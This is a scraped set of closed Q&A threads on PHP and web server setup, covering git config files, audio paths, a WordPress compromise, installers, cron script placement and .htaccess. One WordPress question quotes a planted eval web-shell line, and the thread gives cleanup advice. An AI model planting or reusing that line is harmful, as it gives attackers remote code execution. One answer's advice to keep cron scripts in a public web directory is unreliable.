Git don't track files only upload [closed] - php

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I want to have files in my repo but don't want to track the changes in the clones is there a way to do that without setting files to assume-unchanged through a deploy script?
Example:
Server bare.git holds a file custom.php
Local repo pulls bare.git gets the custom.php but don't track changes to the file
I read about config files but I don't want to make the files with a deploy script I want the file to be in the repo and gets cloned but not to be tracked by the cloned repo.

No, there is no way of doing this, and there probably a problem with your workflow if you need this. If config.php needs to be changed on each instance (for example, to add credentials specific to that environment), you probably want the following accepted pattern:
Rename that file to config.php.example
Add config.php to .gitignore
In each clone, copy config.php.example to config.php and make the necessary local changes
Otherwise, the entire purpose of Git is to track change to files. If you don't want changes to a file tracked, don't track it.

Related

How to access the directory of an audio file from the HTML audio Tag in linux [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 3 days ago.
Improve this question
I have the following audio on linux Centos /var/spool/audios/2023/02/15/202302151100015.mp3. If I configure the full path in the src of the Audio Tag, it doesn't work, for it to work I must copy the audio 202302151100015.mp3 to the directory where I have my web application and place in the src of the audio tag src="202302151100015.mp3" and it works there. What am I doing wrong? I copy part of the code, thanks.
<audio><source src="/var/spool/audios/2023/02/15/202302151100015.mp3"></source></audio> //does not work does not access directories.
<audio><source src="202302151100015.mp3"></source></audio> //It works but I have to first copy the audio file to my app's web folder.
Solution to my question and thus learn
What am I doing wrong?
Your resources cannot reside outside your web directory (starting from it's root.) It's not Linux related and all web servers will (and should) behaves the same or imagine the security hole if one can go any location on your box… Full stop.

Is this a php vulnerability in my wordpress installation? <?php #eval($_HEADERS["E"]);#eval($_REQUEST["E"]); [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 2 years ago.
Improve this question
I've been monitoring my wordpress installation and from time to time a file gets created in places like /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/
The file name always starts with .1599.... followed by random numbers
ex. .1599674957 or .1599875789
The code inside this file is <?php #eval($_HEADERS["E"]);#eval($_REQUEST["E"]);
What I do is delete all files with the .1599* recursively in the wordpress folder.
How do I resolve this?
Thank you for the help
Your site is hacked. These are commonly inserted to your PHP files by hackers. You should:
Find all files with this.
Restore all of these files to their original state (either by downloading from WordPress.org or manually fixing)
Remove any file that are not supposed to be in your WordPress.
Find all PHP files in the WordPress upload folder and remove them (they should not be there anyway)
Update your WordPress core and all plugins to the latest version to remove potential vunerabilities.
In general, you should keep regular backups. And you should frequently update your WordPress.

Developing PHP Custom Application Setup Environment [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 6 years ago.
Improve this question
I Have Created PHP Custom Application, want to make a UI for Setup the project in User System without touching and configuring the code.
As of Now, I am Calling a Php File Writing the complete Script(DB creation, and table Creation, Loading the Content in Table, creating Config File etc.)
It`s Working File. if there is an other solution please Share.
Thanks.
During the installation, create a particular file.
In the index.php, check if this file exists before proceeding. If it does, installation has been run before and you can proceed. If it doesn't, the application is not installed yet.

Where to store script files for cronjobs? [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 7 years ago.
Improve this question
In which diretory should script files for cronjobs be saved? Available to the public inside var/www/html or better inside var/www/files or ...?
Re-posting comments from above, for easier reference and clarity:
Why would you want to make cronjob script files available to the public? If you're distributing them, var/www/* would be a fine place to put them. If you're intending to run them on your server, put them somewhere that isn't public facing, like your /home directory
Cron only needs its scripts to be in a directory it can access. While it can definitely access /var/www/, so can (potentially) the public; it depends on your configuration. If you're running Apache as your web-server, then accessibility of any directory under the web root (usually, and likely in this case, /var/www) is configured by .htaccess files (or in a Directory block in your main server config). By default, all sub-directories and files are accessible. If you don't care about other people seeing your cron scripts, go ahead and put it in var/www. Otherwise, put them somewhere else or change your server configuration
The best way to do that you want, is create a new directory dedicated to save the scripts, for example, /var/www/html/scripts
In that way, people is able to see the the sctipts and for crontab schedule too.

Resetting .htaccess in a particular directory [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
This question is directly related to a previous question of mine :
php files are downloaded instead of ran
But I have narrowed down the problem so that answering one question technically answers both.
I have made many changes to .htaccess in a certain directory above the root. We'll just call it /dir. Somewhere along the way, I made a change that broke the way php runs files. My overall goal is to get php to run .php files again; however my question is about resetting the .htaccess for /dir. I created php files in the directory before /dir (previous/dir) and they run fine, so I just need to reset whatever changes are being held onto for that directory.
How can I clear all .htaccess for that directory.
Keep in mind, I have cleared the .htaccess file already. Whatever changes happened are being stored somewhere in apache that I can't get to. I just want to reset them and go back to where php was working in that directory.
Thanks.
The problem was that the original .htaccess had changed permissions to the directory because of password protecting. After I deleted the .htaccess file and the pwd, the permissions were still altered. After fixing the permissions I was easily able to fix everything.

Categories